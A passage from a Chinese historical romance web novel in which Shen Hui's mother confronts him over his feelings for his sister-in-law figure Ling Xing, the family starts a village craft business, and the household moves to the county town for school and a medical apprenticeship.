徐有芳皱着眉,痛心疾首,恨自己没能早点发现,及时制止。 她抬手打向沈回,响亮的一巴掌,夹杂着压抑的低吼,“你那么早就动了这样龌龊的心思?还如此的费尽心机!沈回!你对得起你哥吗?” 沈回低头没说话,他对不起。 但也不想放手。 徐有芳见沈回倔强不松口的样子,只能无力的闭眼,良久才开口,“星哥儿要是喜欢你,早就回应你了。” 沈回摩挲着指腹,神色晦暗,“或许,他只是没意识到。” “你要干什么?”徐有芳直觉不妙,警告他,“你别害了星哥儿!” 沈回轻笑,“我当然不会。” 这一夜的寒冷,让他想清楚了。 如果凌星真的对他毫无感觉,那他就想办法让凌星对他有感觉。 如果凌星对他有感觉,却没发现,那就想办法让他发现。 他们之间,有且只能有一种结局。 那就是在一起。 他要那颗星星,属于自己。 徐有芳看着沈回势在必得的表情,觉得人真的疯了。 到底还是怕凌星受伤,开口道:“强扭的瓜不甜,沈回,我警告你,千万别乱来。” 沈回闻言点头,看似同意,可张嘴说的却完全不一样,“我会让它甜。” 说不通,劝不了,徐有芳也没辙,总不能把人打死。 她心里也清楚,不管怎样,老二不会真的让星哥儿受到伤害。 算了,儿女都是债,就这样吧。 她管不了了。 凌星进灶屋的时候就感觉气氛不太对劲,沈回左脸有些红,冲他愉悦的笑,徐有芳冲他苦笑。 他今天也是专门起的更早一些,为了和徐有芳说昨晚答应的事,他没办成。 顶着沈回无法忽视的视线,凌星到徐有芳面前,小声的告诉她,昨晚他劝说失败了。 徐有芳已经知道结果。 她继续苦笑,略显疲惫的眼神看向凌星。心想不仅失败了,还把老二刺激到,人要疯不疯的。随时都可能直接捅破窗户纸,对着你说些见不得人的话呢。 徐有芳叹口气,拍拍凌星的肩膀,认命道:“娘晓得了,没事,后面再说吧。” 凌星见徐有芳不怪他,心里隐约有些心虚,觉得对不住。 他昨晚其实也没有很卖力的劝说…… 很快沈燕和沈来起来了,乌雪也摇着尾巴等吃饭,凌星的那些情绪被打断,干脆压在心里,没再拿出来细想。 沈回吃完饭没跟着凌星去镇上,而是带着生员契书去了县城。 昨天家里都是人,他没能出去。 今天要趁早去县衙,需要把身份重新登记一遍。 到县衙的时候,衙门里小吏忙碌的很,似乎在搞什么大事。 从来往人的零星唇语中,沈回大概猜到了是为了弄香肠工坊的事。 凌星用香肠方子在县令那换了些东西,沈回到家第一晚就知道了。 事情也和他有关,需要他确定要不要一起县里。自然是早确定,早安排的好。 沈回当然是选择去,甚至还有些高兴,能够离开村子,没什么熟人。 知道衙门已经开始忙活起香肠生意,沈回没太关注探究,直接去户籍司,他想赶紧弄好,急着回家。 县衙里的所有事都瞒不过林清渝,沈回户籍重新登记好后,王团就带着一堆东西过来。 “沈秀才,这些是县令大人赏的,恭喜沈秀才院试得中。” 王团脸上带着笑,面对沈回时多了从前不曾有的恭敬。 沈回面色无异,接过东西后,颔首道:“多谢县令大人厚爱。” 说罢便转身就走。 王团犹豫了一下,追上前歉意的张口,“沈秀才,以前是我有眼不识泰山,还望沈秀才勿要怪罪。” 沈回笑了一声,有一点权力的人,会看不起平民老百姓,这是正常。 而王团那时虽然看不起他,有意忽视他,但也从未对他说什么难听的话,做什么伤害他的事。 只是“看不见”他而已,不痛不痒,实在没有放在心上怪罪的必要。 但他也确实不想多理会王团。 不是因王团当初的忽视,而是王团替县令送牌匾的时候,对方在他哥夫面前,说了李徽缘许多好话。 瞧那架势,都恨不得拉着他哥夫直接嫁给李徽缘了。 沈回在怪罪,怪罪的很。 他回都没回王团,抬脚直接离开。 不明真相的王团在后面唉声叹气,哎,这是把人给得罪死了。 悔不当初啊! 林县令给的东西都挺实用,笔墨纸砚书,还有五个银锭子,有五十两。 里面也不全是给沈回的,有一封又厚又大的信,是给凌星的。 沈回正好有了光明正大的借口不回家,能直接去找凌星。 林县令给凌星的信里,真正给凌星留的话只有薄薄一张纸。 大信封里有两封稍微小一点的信封,一封是给县里一家医馆的大夫,一封是给县学,还有一张县里铺面的地契。 给凌星的信里写了,医馆大夫和县学里,他都已经打好招呼,到时候直接拿着信去找就可以。 因为沈回中了秀才,所以按着之前说的,把名额换成了铺面地契。 凌星看了一眼地契位置,他之前送考,和谢青崖把县里逛了个遍,大概记得位置。 林县令给的这个铺面,位置还可以,离柳青玉家的桂花巷蛮近的。 就在一条街上,叫春雨街。 这条街上倒是没什么吃食,多布庄,首饰铺子。 他这烟火气十足的小吃铺子,在这群高端铺面中间夹着开,到时候八成得被嫌弃死。 不过有铺面比没铺面好,省下一大笔租金呢。 县里的院子凌星前面抽空和谢青崖去了一趟,找了修缮的队伍,托柳青玉帮忙盯着,给他按天算监工钱。 算算日子,也到了当时和修缮队定好的时间。 第73章 第 73 章 县城 林县令那边的东西都已经给齐, 县学在二月的时候就已开学,不过每逢三年院试,考试结束后,会在四月再收一批新生入学。 截止时间是四月二十日。 距离截止时间还有小半个月, 但凌星想早点去县里安顿下来。 徐有芳也是这个意思, 比卡着点去好,着急忙慌的容易出错。 凌月提前和卢秀才道别, 凌星这天也去了, 给卢秀才送了些米面和肉。 多谢他这些时日对凌月的悉心教导。 卢秀才是真舍不得凌月, 这孩子乖巧懂事,人又勤奋好学。 因为他的缘故, 私塾里的孩子们比之前学的更认真了。 他的孙子每天都和凌月比, 起得早睡的晚,功课比起之前那是进步一大截。 就是太好胜也不好,都要分别了, 还握着拳头对凌月说:“你不要得意,我也一定会考上县学!” 好在凌月对他的争强好胜也不在意, 只是认真回应,“好,我相信你一定可以。” 梗着脖子的卢洲一愣,低头不说话。 凌月最后对卢秀才恭敬的施了学生礼, 微哑的嗓音全是对夫子的不舍与感谢。 “学生凌月, 在此拜别夫子。” 卢秀才看着小小的人, 即便他如今年岁尚小, 却已然有了风骨。幼年时非人的经历,磨炼了他的意志,也让他见过真正的人间。 他知道, 自此一别,以后很难再相见。 也有预感,凌月往后的路,会高到他无法想象的地步。 卢秀才眼眶中含着热泪,哑着声音道:“好孩子,以后出门在外,记得保护好身体,别生病了。” 凌月瘦小的背脊一僵,泪水瞬间落下,砸在地面。 他没有哭出声音,拼命忍住。 “好的,夫子。” 凌星也红了眼眶,知道弟弟虽小,但在外很注重规矩分寸,忍着没当着人的面摸他的头安慰。 出来送的同窗们已经有人开始抽泣。 但他们没有说出一句让凌月别走的话。 外面是广阔的天地,不仅凌月会走,他们也会。 时间不早,凌星得带着凌月趁着天亮回家去。 卢秀才看一眼天色,挥手道:“走吧。” 兄弟二人离开后,已经哭得视线看不清的卢洲再也憋不住,嚎出声音。 同窗们被他一带,也压抑不住难过,出了声。 一院子都在哭,卢秀才自己都好不到哪去,只能让孩子们有片刻的放纵情绪时间。 离开的凌月走在路上,拽着凌星的衣袖,安静的迎风落泪,偶尔抽泣一下。 此时沈回和徐有芳在村长家里。 徐有芳来带着沈回过来,王春霞是立即请人去堂屋坐着,叫大儿媳弄糖水来。 徐有芳趁着这功夫,拉住王春霞,对她说不必给沈回找人相看。 二郎心意已决,她也认了。 再强行叫相看,反而伤了母子情分。 祝家小辈全都下地忙活,没人支使。王春霞本要自己去刘家喊祝如山回家的,听到这话也不走了,连忙追问原因。 徐有芳只能说是想先专心科考。 八月的时候确实也要乡试,不过四个月的时间。而且沈回要去县学读书,更没空相看。 王春霞一拍大腿,真是可惜了! 不过今年不行,明年总可以。大不了等乡试结束再问问。 就是如果沈回这次中举的话,可能就没她们的事了。举人老爷,在云水县里,什么样的姑娘哥儿娶不到? 媒婆怕是都要排十里地外去。 但她也知道举人是比秀才更难中的,整个云水县拢共也没几个。 她还有机会能说上这个媒,和沈家沾点亲。 徐有芳说完后并没有走,而是说要见祝村长。 王春霞以为沈回有事要和她老头子说呢,连忙道:“他在老刘家,我去叫他。” 沈回在听徐有芳说不必给他找人相看的时候,拢起的眉头松开许多。想问他娘找村长做什么,没来得及开口,村长就火急火燎的跑来。 嘴里还嚷嚷着怎么不早喊他。 王春霞瞪他一眼,看在有人在的份上,到底没出手捶。 如今沈回的身份不一样,祝村长是真的怕怠慢了,进屋子第一句话就是告罪。 “沈秀才实在是对不住,叫你久等了。” 沈回的态度还是和以前一样,不在意的点头。 坐在一旁的徐有芳道:“村长,是我有事要说。” 祝如山松一口气,却也没有怠慢,出声询问:“可是有什么要我做的?” 徐有芳道:“去年的时候,星哥儿给我出了个做营生的主意,让我不必再熬眼睛绣花。” 祝村长安静听着,心里有些惊疑,不知道为何徐有芳会突然和他说这个。 徐有芳继续道:“这门营生目前只有我能做,出货量不算小。之前有闺女帮忙倒也能承受,眼下闺女要接替星哥儿去镇上,这样一来,我这边就缺了人手。” 听到这里,祝村长大概猜到徐有芳要说什么了,他有些激动道:“可是要在村里寻心灵手巧的去做活?” 徐有芳摇摇头,在祝村长好奇的目光下,说了原本的打算。 “前头二郎去科考的时候,我叫星哥儿帮着看看县里府城,能不能卖我做的绒花。星哥儿说可以,我便想着要是二郎争气能中秀才,干脆就把生意做的大一点。有他的身份在,也不怕做大了被人欺负。” “我有手艺和售卖渠道,想要村长从各家的女子哥儿挑最手巧的,人也踏实肯干,没什么花花肠子的。我会给他们分配活,按件给工钱。” 沈回闻言不由看向徐有芳,有些不解,他娘在撒谎。 绒花生意他娘从来都没想让村子里人插手。 也并不想做的有多大,只想小富即安。 至少近两年的打算,最多就是给县城那边供货。 怎么突然一下要把摊子铺这样大?还专门点了一下他的身份? 祝村长已经高兴的不知如何是好,要不是徐有芳是女子,他都想直接拉着手热泪盈眶的感激一番。 “哎呀!徐婶子啊,你这可真是我们小柳村的大善人!村子里多这样一门营生是小柳村的幸事啊!” 他们小柳村是十里八乡出了名的穷村,赚钱的机遇少的可怜。而这样能拉拨全村子都能赚钱的事,上一次还是沈归带着赵家兄弟满村的收菜。 如今徐有芳又说愿意以她的手艺带着村民赚钱,且沈回又是这么多年来第一个秀才公。 那卢秀才都是几十年前的事了,现在除了他和沈回以外,他们这片都没秀才。 祝如山是真的相信,这事能成。 沈家发达了,却没忘记村子。 还想带着大家一起发财,祝如山心里欣慰啊。 好!真是太好了! 轮也该轮到他们小柳村赚点钱了! 不过祝村长也有担忧,“徐婶子,你这样做不怕被偷师吗?” 他这样问,也是想知道徐有芳对偷师这个事有没有防范,心里有个底。 徐有芳自然考虑过这件事。 其实真的放给村子里人做,迟早会有人学着做出来的。 绒花胜在点子新颖,虽然有些难度,却也没难到无法琢磨透的地步。 手熟练了,对花的颜色形状掌握的好,就能做出来。 她道:“学会需要一定的时间,而且前面我会分步骤让不同的人做。” 虽然这样也没办法避免,最终都会被学去,但她这样做也只是为了拖延一下被学会的时间罢了。 “东西做出来不是最主要的,主要的是要怎么卖出去。我的定价其实并不算高,想要赚钱,要么在上面加金银珠宝,要么就是出货量高,薄利多销。” “就算被偷师,我想学会的人,也没办法靠它赚钱。” 祝如山细细一想,倒也是。 村子里谁家什么情况,他心里都清楚。穷的叮当响,徐有芳说的两种情况,哪家都做不到。 “不过……”徐有芳叹了一声,“还是要请村长帮个忙,唱个红脸。别叫一些贪财的人把方法教给其他村子,或者是一些商贩。” “也不是说完全不能给,而是想等咱们小柳村赚了些,至少家家户户能吃饱穿暖了,再带着其他村子不是?” 这话说到了祝村长的心坎上,他郑重点头,“此事交给我,徐婶子就放心吧。” 徐有芳笑着点头,自然是放心的。 小柳村唯一说话有分量的,就只有祝村长了。 送走徐有芳和沈回,祝如山就让王春霞通知几个能说会道的婶子和夫郎来家里。 王春霞全程在边上听着,她知轻重,再高兴也没插嘴打断,这会更是一刻也不耽误,赶紧去找人。 两刻钟后,祝家的院子里站着十来个婶子夫郎。 全是小柳村人缘广,也能说的。 祝如山离他们远一些,扯着嗓子道:“沈家的徐婶子,打算带着咱们全村赚钱。” 此话一出,十几人都惊讶的不行,纷纷开口询问,愣是嚷嚷出了有好几百人的感觉。 “真假的啊村长!这可不兴骗人啊!” “沈家是真的发达了,他们家人还怪好!” “是勒,老四收菜那会我就说他家人不错,有钱叫咱们一个村的赚。” “他家盖房子也是,那待遇好的,都遇不上第二家。” “谁说不是啊,我家三郎在他家干活,他肉菜舍不得吃都带回家来,叫一大家子不年不节都能尝口荤腥。” “难怪他家二郎能中秀才,还是家里心眼好,有福保佑!” “不过徐婶子带着咱是做啥?” “是哦,咱好像也没啥手艺啊。” 祝如山嗓子喊不过这些婶子夫郎,只等他们讨论完了停下再开口。 十几人因为不知道要做什么,疑惑一会后,终于安静下来,看向祝如山,等着他说话。 祝如山清一下喉咙,再次开口喊道:“是徐婶子的手艺活,她会负责教,听说是不难的。但要有心灵手巧……” 把徐有芳说的要求重复一遍后,人群再次爆发。 “我家大丫头最是手巧,家里衣服都她缝补的,那针脚细密的,都看不着!” “有我家水哥儿好?他从小就心细,学东西也快。” “我看都不如我家三姐儿,她自己琢磨着,还能在帕子上绣花样呢!” “得了吧,谁不知道她把鸳鸯绣成野鸭子啊。” “那是因为只有那一种线!” 眼看着要吵起来,王春霞不得不出马。 她气沉丹田,怒吼一声,“再嚷嚷就都出去!” 一下子,院子里安静了。 祝如山这才继续道:“我知道大家都是想让自家能被选上,多个营生收入,积攒点银子。不仅你们想,我也想。” “前面选的人应该不会多,但后面就说不准了。我听徐婶子的意思,那是要把这生意做大,大到能带着咱一整个村子发展的。” 这话一出,十几个人都倒吸一口凉气,想说什么又不敢说,怕被王春霞给撵出去。 这徐婶子真的是敢想啊,不愧是有钱人家出来的人,和他们真不一样。 他们最多敢想想一个月能大吃一顿肉。 祝如山是真的想让小柳村发展起来,这对他也是有好处的。 他祝家会在这里继续扎根,世世代代,生生不息。 村子越好,祝家就越好。 他扫一眼人群,神色凝重许多,“沈家短短一年,有此发展,我相信徐婶子能说到做到。此事关乎于小柳村的发展,所以,若是被我发现有人去做活却心思不纯,绞尽脑汁去偷师,把手艺给泄露出去的话,别怪我不顾几十年的领里情分,直接报官!” “你们可能不知道,偷师学艺,泄露手艺,也是盗贼行为,是要被抓起来打板子坐牢的!偷师者坐牢后,我会实施村长的权力,将其一家子驱逐出村子。” 祝如山严肃道:“小柳村,不容忍吃里扒外的东西!” 十几个婶子和夫郎被祝村长吓了一跳,大气不敢喘。 给了大棒,还需要给甜枣。 光吓人是没用的。 祝如山收敛了些情绪,缓和不少,诚心的和村民说:“我希望村子能越来越好,希望咱们村子能赚钱,能在周围村子里地位高一些,不要再被其他村子压着欺负。” “这样能带着大家一起赚钱的机会,真的是少之又少。但凡泄露出去,那这些钱就会进别人口袋,和咱们没什么关系了。有钱咱们自己先赚不好吗?” “更何况他家二郎如今已经是秀才,今年八月还要继续科考,说不准再回来,就是举人老爷。” 说起举人老爷,村民们的眼神又是一亮。 他们听说秀才公能叫自己一家子免去赋税,举人老爷可是能叫一村子免去赋税的! 对他们来说,能免赋税,就是有天大的权力。 村民在大事上看的明白,泄露了是一家子得益,全村倒霉。但得益者的惩罚实在太重,被赶出村子,可还怎么活啊!到新的地方,是很难立足的。 他们纷纷点头,保证肯定不会泄露。 祝如山知道这些人是听进去了,才说叫他们来的目地,“让你们来,听我说这些,就是为了叫你们能一字不落的传遍小柳村。不要添油加醋,全部如实告知,为了村子的发展,为了我们以后更好的生活,请诸位帮忙了!” 小柳村人多,靠祝家这样一家家通知太费时间了。 这些人向来能说会道,不怕他们说不来,只要提醒他们别乱加自己的话进去就行。 听了祝如山的话,十几人心里生出一份使命感,为了村子,他们一定能办好差事! 这十几人的传话力量十分可观,一下午的功夫,小柳村就炸开了锅,挨家挨户全知道了。 他们想去沈家再问更多的东西,又害怕会惹恼沈回愣是没敢去。 于是祝村长家的门槛快被踏破了。 有来确认是不是真的,也有问怎么选人,工钱如何的,还有自荐的,为了能被选上,不知道待遇的情况下嚷着愿意少要工钱。 祝家人忙的脚不沾地,说的口干舌燥。 就连谢青崖都没幸免,村里就他和凌星走的近。大家知道他们关系好,因此挤不进村长家的人,就来他家问他,以为他能知道些什么。 给谢青崖烦的直接关门,谁敲门都不开。 村民也不好砸门进屋,只能离开继续去挤村长家。 比起祝村长家的人满为患,吵闹不堪,沈家倒是安静许多,不过也人人都在忙碌。 为凌星他们收拾行李。 徐有芳帮沈来收拾完,就去沈回屋里帮他。 沈回从小独立,早已自己收拾好。 徐有芳看着整齐的箱笼,无需她再动手,沉默一瞬后,便转身要走。 身后,沈回道:“孩儿不孝,也多谢娘替我操劳。” 在完全听完徐有芳和祝如山的谈话后,沈回就明白了,徐有芳这样做,是因为他。 沈家的地位在村子里越高,有越多的人需要沈家,就不怕他们会嚼舌根子。 此举,是为防患于未然。 “我是为了星哥儿,不用你来道谢。” 若真有什么风言风语,沈回是秀才,谁敢说他什么?就算是说他,那些话也只会比说凌星的轻。 家里本来就对凌星有愧,想着等过两年,家里银钱积攒些,风风光光的送他改嫁,沈家就是他的娘家,不叫人敢看轻他。 却没想到,沈家还要欠他更多。 徐有芳心里愧疚,是她一直疏忽了二儿子,没教好儿子。 才让他会生出此般心思,最后也只能听之任之,毫无办法。 她没转身,叹一口气,“沈回,星哥儿到底是你哥夫,也从未对不起你什么。他若是真对你没意思,千万别逼迫他。” 沈回低头道:“嗯,好。” 母子两短暂的谈话中止,一天很快又过去。 第二天凌星在镇上的铺子里摆了桌子,他亲自下厨,宴请了屠海,许七,武大力,王有麦还有书铺掌柜刘存雨,画材铺子掌柜穆子和。 沈回和沈燕,赵长命也在。 请的人都是对凌星或多或少帮助过的,穆子和之前因为铜丝的事情给了凌星便利,就一直被记着。 他心里也很感动,后面徐有芳用的铜丝,都是他帮忙找的货源。 质量又好,价格比起市面上的更便宜。 凌星一一感谢过他们,也一一道别。 最后请他们多多照顾要接手铺子的沈燕和赵长命。 他们都是没有见过大世面的小人物,若是没人护着,即便是云霞镇,也能将他们吞吃干净。 远水救不了近火,将他们托付给就在云霞镇的人,是最好的。 屠海直爽,当即举杯,“凌兄弟你放心,八爷我定然不让他们受委屈!” 其他几人也纷纷举杯,让凌星放心。 沈燕和赵长命激动又高兴,更是感谢的看向凌星,没想到这场宴,竟也是为了他们。 夫妻两慌乱的站起来,一饮杯中酒,以示敬意。 沈回亦端着酒杯,抵在唇边没有立刻饮下。他不可控的被吸引,只黑眸沉沉的看向凌星,带着些侵略性。 这样好的人,他也想要。 在凌星察觉视线看来之前,沈回才仰头喝酒,隔绝视线。 临行前,凌星还专门找了谢青崖,同他好好道别。 谢青崖虽然不舍,但他想凌星了,能马上去县里看他,倒是很快说服自己接受分别。 可真要走的时候,还是红了眼眶,抱着凌星带着哭腔叮嘱,“一定要好好照顾自己,我每个月至少去看你两次。” 凌星也快哭了,相处这样久,是真舍不得。 “你也一样,要保重。只要你来县里,我一定给你做好多好吃的” 四月十日,宜出行。 凌星,凌月,沈回,沈来,一行四人,雇了辆马车,拉着行李,离开小柳村。 剩下的沈家人一路送到村口,大家都红着眼,已经开始思念。 马车不大,沈回在驾马,车厢里三人,因为离家心情都不太好。 到了县里,四人直奔小院。 柳青玉盯修缮队盯的很紧,搞的修缮队的那些人见着他都害怕,生怕他来一句不行,重新做。 也得益于他的严厉用心,小院修缮的很好。 比起之前灰扑扑,墙头还长草的杂乱样子,简直是焕然一新。 凌星带着两个孩子下马车,推开新了许多的小小院门,看着里面干净整洁的院子,微微一笑。 以后要住在这里啦! 第74章 第 74 章 二合一 小院所处的街道位于县学后面一条街, 因此这条街也叫学后街。 院子不算大,里面有口井,还有几株花树。 栀子,牡丹, 腊梅, 杏树。 井在杏树的下方,上面有个木头盖子, 盖着井口。 院子布局有点像一进的四合院, 凌星让沈回住在东厢, 凌月住在西厢,他自己和沈来都是哥儿, 一起住主屋。 主屋也分耳房, 凌星住在东耳房,沈来住西耳房。 前院倒座房有三间。 院子里是没有恭房的,要看主人家改哪间做恭房, 又或者不要恭房,只在屋里放恭桶。 县里如厕和村子里不一样, 每天都有专门收恭桶的人,错过时辰就不行了,得等第二天。 人来了给两文钱,把恭桶递出去。 要是让人进来收, 则需要一次给五文。 没什么积蓄的人家自然不会要人进来收, 但凌星在了解到这层后, 选择了后者。 更轻省些。 凌星把倒座最里面改成了恭房, 恭桶里铺草木灰,还点着熏香。 中间是客房,靠门的那间是厨房。 院子虽小, 五脏俱全,倒也透着些小小温馨。 沈回力气大,行李几乎都是他搬的,凌星三人没能插上手。 后续收拾是他们,沈回要把马车还回去。 车就是专门从县里租的,这样还的时候,不必再跑去镇上。 花了一天时间收拾好屋子,第二天四人起的都有些晚。 因为今天要去拜见教沈来医术的大夫,没时间再做饭,洗漱好后,锁上院门,一起在街上买点吃的垫肚子。 县里如今也有了饺子和馄饨,早上吃的人挺多的。 锅贴,生煎,油条,包子,馒头这些也都有,全都是云霞镇那边传过来的,现在早上县里根本不缺吃。 凌星点了个鸡汤小馄饨,凌月也一样。沈来吃的煎饺,配豆浆。 沈回看了一圈,点了三碗面,吃其它的得吃很多才能饱。 吃完饭,凌星几人去买了新鲜的五花肉,肥瘦相间,更偏肥一点。 现在的人缺油水,肉越肥越喜欢。 又买了新鲜的糕点,梅花酥和绿豆糕,油纸包好,上面塞一张红纸,写着糕点和店铺名字。 另有的布匹,红糖,白糖还有两罐蜂蜜,都是之前在云霞镇买好的。 出来吃饭自然是没带,回去的时候拿出来,一起去了医馆所在的银杏街。 这条街的前后各有一棵古银杏树,百年的树龄,长得很大。 秋天时最美,风吹落叶,地上会散落一地金黄。 街也因此得名。 银杏街里面铺面其实并不多,更多的是住宅。 有两家小饭馆,还有两家杂货铺子,再者就是布庄和医馆。 凌星四人要去的就是唯一一家医馆。 医馆就叫银杏医馆,在街的中间地段,但门面有点小,也比较破旧。没挂牌匾,只有个小小的幡子,很容易直接走过去忽略掉。 银杏街并不繁华,亦不富裕。这是一眼就能看出来,感觉到的。 比起他们刚刚吃早饭,逛的学后街来说,十分安静,也凸显出几分萧条。 医馆门面小,但因为朝阳的缘故,并不显昏暗。 进门正对着的就是一整面墙的药柜,有个身着灰袍,留着胡须的中年人站在木梯子上抓药。 沈来今天一早起来就紧张心慌的不行,越靠近医馆,就越紧张。 平时不怎么出汗的掌心,这会都在冒汗。 学医是他自己思考过后,想了许久,还是很想学的。 可惜他是哥儿,学医之路艰难。 哥夫也是费了心力帮他,他心里感激,也很害怕自己并不够好,会给哥夫丢脸。 他心里胡思乱想着一堆,脑袋都有些发懵。 见到有人来,不远处的一个梳着羊角辫的小童跑来,仰着头脆生生的问道:“你们是来看病的吗?” 凌星摇头,“我是来送弟弟学医的。” 小童歪一下头,不知道这种情况如何应对,此时抓药的中年人已经看了过来。 凌星也看清了对方的脸。 此人面白,胡须有一指长。眉眼间含着些冷意,似乎对谁都不大在意,透着一股清隽感。 对方名字林县令给的信里已经写明,叫裴医。 倒是个很贴合职业的名字。 凌星和沈回这次作为家里大人,带着沈来拜师,态度很好。 率先对裴医拱手,“裴大夫好。” 裴医颔首,声音也清冷冷的,“学医的人留下,东西和其他人都别留。” 说完就又转过头,继续抓药。 凌星被裴医的态度弄的心下一沉,他有些担忧的看向沈来。 本来还紧张无措的沈来,因这冷冰冰的态度反而冷静了许多。 他早已经清楚,这条路对他来说很难走,若非有哥夫相助,他甚至都没办法踏上这条路。 哥夫已经为他做了许多,他是极其的幸运,不能再贪心要的更多。 不喜欢他又怎样呢? 他能正儿八经的跟着大夫学医,已经是得天独厚。 沈来深吸一口气,暗自给自己鼓劲,同时露出笑来,对凌星小声道:“哥夫我没事的,不用担心我。东西就先带回去吧,我在这会多做些事,总能弥补上。” 凌星也看出那说话之人是说一不二的性子,他若是执意留下东西,反而会叫人心烦。 又见沈来确实是做好了准备,只得点头,摸摸他的头,“小五长大了,在这好好学,晚上回去,哥夫给你做好吃的。” 林县令信里说了,和医馆已经说好,为了能节约路上时间,让沈来多学点,中午是在医馆吃的。 也不需要凌星额外给饭钱,沈来反正要帮医馆干活,两相直接就抵了。 沈来最爱吃凌星做的吃食,他心里暖暖的,“好!” 凌月对着沈来挥挥手,跟着凌星和沈回一起回家。 凌星他们走后,沈来看一圈屋子,干净整洁,没有他帮忙的地方。 也没人说话。 他想了一下,跑去扶着裴医脚下的木梯子。 裴医居高临下的看他一样,没出声,自顾自的抓药。 回到家,凌星没闲着,准备去找柳青玉。 他铺子六日后开张,是算好的吉日。 沈回和凌月都要去县学的,肯定没办法帮他一起开铺子做生意。 之前在镇上时,也想过要是人手不够的话,就去牙行雇人,但是最后也没雇上。 现在到县里,沈回是要上学的,他肯定得另找人。 小院的修缮凌星是真的很满意,和柳青玉也相处过,他勤快讲义气,做事也认真负责,可以的话,他想雇柳青玉来。 如果柳青玉不同意,他再去牙行看看。 顺便还要去找上次的修缮队,把铺子也弄一下。 去柳家凌星也带了糕点还有肉,不过这些都是他又出去另买的,裴医不要的那份就留着家里吃。 正好家里人也都爱吃。 沈回和凌月一样跟着一起去,沈回不放心凌星单独一人,凌星则是不放心凌月一个人在家,干脆也带上。 柳青玉家离铺子正好也近,都在一条街上。 到了桂花巷,凌星敲响院门。 里面传来老三柳青草的声音,“谁呀?” 凌星道:“是我,凌哥儿。” 里面很快就传来门栓移动的声音,接着就是柳青草瘦巴巴的笑脸,“凌哥哥,凌弟弟你们来啦!快进来坐!” 话说完了,才看见从侧面过来的沈回,脸上的笑淡了几分。 好在沈回之前也在这住过,柳青草虽然怕这样高壮的人,但没吓的不敢说话。老老实实的叫了一声,“沈二哥哥。” 沈回嗯一声,随手塞他一块麦芽糖。 是买糕点的时候他顺便买的。 “不许拒绝。” 柳青草反应过来是糖,眼睛都亮了。他下意识的要还回去,不敢收,又听沈回说的那句话,及时制止了动作,怕把人惹不高兴。 他小声的说声谢谢,小心翼翼的收好麦芽糖,准备留着和哥哥妹妹一起吃。 等凌星三人进去,他把门闩重新插好,招呼着凌星三人坐。 最小的柳青雪正在院子里搓麻绳贴补家用,看到凌星他们来,也是又高兴又害怕。 高兴的是每次凌星来,家里就有钱赚,更主要的是凌星对他们也很好,孩子们喜欢他,也会想念。 见到了自然就开心。 害怕的因素全在沈回身上,他自己也感觉得到孩子见他会害怕,有意买了麦芽糖哄小孩。 柳青雪也被塞了一块麦芽糖,和三哥露出一样亮晶晶的笑,暂时忘却沈回的“可怕”。 凌星没等柳家兄妹拒绝,就把带的糕点和肉熟门熟路的放在灶屋的柜子里,关上门后问道:“青玉和青叶出去找活干了?” 柳青草回道:“嗯,大哥和二哥去给酒楼刷碗去了。下午的时候会回来,给我和妹妹带吃的。” 兄妹两会做饭,不过因为那个酒楼允许干杂活的带客人没吃完剩下的菜,柳青玉每天都会带回来一些。 为了省点家里的米粮和柴火,柳青草和柳青雪中午都不吃,等着下午吃带回来的菜。 凌星点头表示自己知道了,柳青玉干活很杂,没有固定的。都是短工杂活,哪有需要去哪里。 也没想着今天来就能看到本人,只是想让柳青草能传个话。 他对柳青草道:“等你大哥回来,让他有空去一趟小院,我有事和他商量。” 柳青草乖巧点头。 凌星没有多留,天色不早,他也要回去做午饭吃。 柳青草拉了一下凌星,不自觉地吞咽口水,“凌哥哥,你放柜子里的东西带走吧,我们不能要。” 他也馋肉,馋点心,晓得这些价格贵,根本不敢收。 一旁的柳青雪也点点头。 凌星反手摸一下兄妹两的头,“带来了就给你们吃的,小孩子要吃饱对身体才是好。中午肚子饿了,尽管把糕点打开吃。凌哥哥买了你们爱吃的桃酥,有很多,不怕不够吃。” 兄妹二人瞪着眼睛呆愣愣的,沈回把剩下的麦芽糖都放灶屋,出来和凌星凌月直接离开。 “青草!快来把门栓上!” 凌星站在门外,喊了一声还沉浸在情绪里的柳青草。 “来啦凌哥哥!” 柳青草抹一把脸,压下想哭的冲动,跑去栓门。 自从爹娘去世后,除了大哥二哥,再也没有人这样对他和妹妹这样好过。 …… 三人回到小院,凌星准备做个炒肉片。厨房里的灶台上,凌星安的是铁锅,后面做炒菜油炸的方便,不用担心把锅弄坏。 沈回也会做些简单的菜,味道能入口。但凌星喜欢做菜,便是他做。沈回和凌月负责劈柴烧火和刷锅刷碗,以及收拾饭后卫生。 凌星琢磨着院子里得种点葱姜蒜,再种点辣椒、白菜、韭菜、豆角、西红柿和黄瓜。 再多也没地方了,种点常吃的就行。 炒菜速度快,凌星做了道酱炒肉片,又炒了土豆丝,另做白菜鸡蛋汤,外加一碟子家里腌的酸豆角酱菜。 现在菜蔬少,吃来吃去也就那几样。 凌星手艺好,是前世实打实练出来的。菜炒的锅气足,味道吃着很香。 吃完饭三人又收拾了一下院子。 院子地面有灰尘,要打水洒一下。 提井水的时候,凌星注意到沈回的手腕袖口,不知道什么时候被钩破了个洞,便要他把衣服换下来,帮他缝补一下。 自从去年凌星帮沈回缝补过一次后,他就经常会注意沈回的衣服,看到有破损,第一时间帮他缝好。 不过那都是沈回晒衣服的时候,凌星去看。 这还是第一次当着沈回的面说。 沈回顿了一下后,把装满水的桶放下。他没进屋去换衣服,而是直接伸出手。 “哥夫就这样帮我缝吧。” “正好有些累,歇一歇。” 凌星头一回听沈回喊累,还是只提了两桶水的情况下。 他没多想,进屋拿针线,寻了和衣服差不多的颜色,帮着沈回缝补。 袖口布料与手腕之间有空隙,但随着凌星动作,不可避免的会触碰到沈回的手。 凌星专注于缝补,没注意到沈回一直在垂眸看他。 每次无意间的触碰,都叫沈回嘴角笑意越深。 袖口很快缝合好,前脚刚收完线,院门就被敲响。 “凌哥儿在家吗?我是柳青玉。” 柳青玉来了。 沈回让凌星坐着,他去开门。 柳家穷,没什么东西带。 柳青玉不好空手来,咬牙买了一条大鱼。 “多谢凌哥儿送的糕点和肉了,我没什么能给,但这鱼味道很好,没什么小刺,吃起来特别鲜。凌哥儿你别嫌弃。” 凌星笑着点头,“怎么会嫌弃。” 沈回知道凌星和柳青玉有话要说,接过了鱼后直接去灶屋,弄水放盆里养着。 院子里,凌星叫柳青玉坐他边上的板凳,“叫你辛苦跑一趟,是想问问你,愿不愿意在我的小吃铺子里做活。” 